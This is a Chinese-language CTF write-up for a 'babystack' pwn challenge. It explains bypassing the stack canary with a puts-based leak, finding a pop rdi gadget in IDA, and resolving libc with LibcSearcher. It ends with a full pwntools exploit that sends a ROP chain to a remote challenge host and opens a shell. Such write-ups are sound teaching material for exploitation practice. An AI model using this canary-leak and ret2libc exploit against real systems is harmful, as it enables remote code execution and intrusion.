本题,用checksec检查二进制,发现开启了CANARY、NX、以及RELRO保护,CANARY是用来检测栈溢出的,canary是一个随机数,存储在栈里。程序通过对比栈里的canary值和读取到的实际canary值进行对比,如果不相等,则抛出异常。因此,为了绕过canary机制,我们需要先想泄露canary的值,然后利用栈溢出,把这个值放到payload中对应的位置里,这样,程序发现canary的值没变,我们就成功绕过。
为了泄露canary的值,我们的利用一下puts函数的特性,puts函数会一直输出某地址的数据直到遇到\x00
通过IDA,我们发现这里CANARY存于栈底上面一个位置
然后我们查看buf的位置,距离栈底0x90,那么buf距离canary的位置为0x88,。
于是,我们先构造这样的payload,因为canary值开始的地方可能会有0数据,所以,我们使用循环,将0覆盖为a,一次次的尝试,当puts输出的数据长度大于我们发送的数据长度时,说明canary的值已经被泄露成功,我们要立即结束循环,并且记下当前覆盖了canary的多少个0数据,然后,我们在前面填充这么多个\x00数据,最后截取前8字节数据,就得到了canary代表的字符串(是乱码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 payload = 'a' *(0x88 ) c = '' for i in range (0 ,8 ): sh.send(payload+'a' *i) sh.recvuntil('>> ' ) sh.sendline('2' ) sh.recv(0x88 +i) c = sh.recvuntil('\n' ).split('\n' )[0 ] l = len (c) if l > 4 : break ; sh.recvuntil('>> ' ) sh.sendline('1' ) for j in range (0 ,i): c = '\x00' + c c = c[0 :8 ]
得到了canary,我们就可以进行栈溢出ROP操作了还有一点就是,本题给的libc是假的,和服务器上的不一致,因此我们使用libcSearcher,而不使用这个库。
X64传参的方式 当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9
因此,为了将数据放入rdi寄存器,我们需要找到一条pop rdi的指令,我们不能把指令写在栈里,因为开启了栈不可执行保护。我们发现了,在IDA中搜索pop,我们发现了这里可以被我们利用
我们选择pop r15,选择undefine
然后选择下面的两字节数据,选择Code
这样,就出现了pop rdi指令,这是一种巧妙的方法,类似的,我们可以对r14,r13操作,获得其他相关指令,它的地址为0x400A93,并且过后还有一个retn,我们完全可以把这里看成是一个函数的开始
我们最终的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import * from LibcSearcher import * sh = remote('111.198.29.45' ,39287 ) sh.recvuntil('>> ' ) sh.sendline('1' ) payload = 'a' *(0x88 ) c = '' for i in range (0 ,8 ): sh.send(payload+'a' *i) sh.recvuntil('>> ' ) sh.sendline('2' ) sh.recv(0x88 +i) c = sh.recvuntil('\n' ).split('\n' )[0 ] l = len (c) if l > 4 : break ; sh.recvuntil('>> ' ) sh.sendline('1' ) for j in range (0 ,i): c = '\x00' + c c = c[0 :8 ] canary = u64(c) print 'canary=' ,hex (canary) mainaddr = 0x400908 elf = ELF('./babystack' ) put_got = elf.got['puts' ] put_plt = elf.sym['puts' ] popedi = 0x400A93 popesi = 0x400a91 payload = 'a' *0x88 + p64(canary) + 'a' *8 + p64(popedi) + p64(put_got) + p64(put_plt) + p64(mainaddr) sh.recvuntil('>> ' ) sh.sendline('1' ) sh.send(payload) sh.recvuntil('>> ' ) sh.sendline('3' ) puts_addr = u64( (sh.recvuntil('\n' ).split('\n' )[0 ].ljust(8 ,'\x00' )) ) libc = LibcSearcher('puts' ,puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) print 'system() addr=' ,hex (system_addr) print 'binsh addr=' ,hex (binsh_addr) payload = 'a' *0x88 + p64(canary) + 'a' *8 + p64(popedi) + p64(binsh_addr) + p64(system_addr) sh.recvuntil('>> ' ) sh.sendline('1' ) sh.send(payload) sh.recvuntil('>> ' ) sh.sendline('3' ) sh.interactive()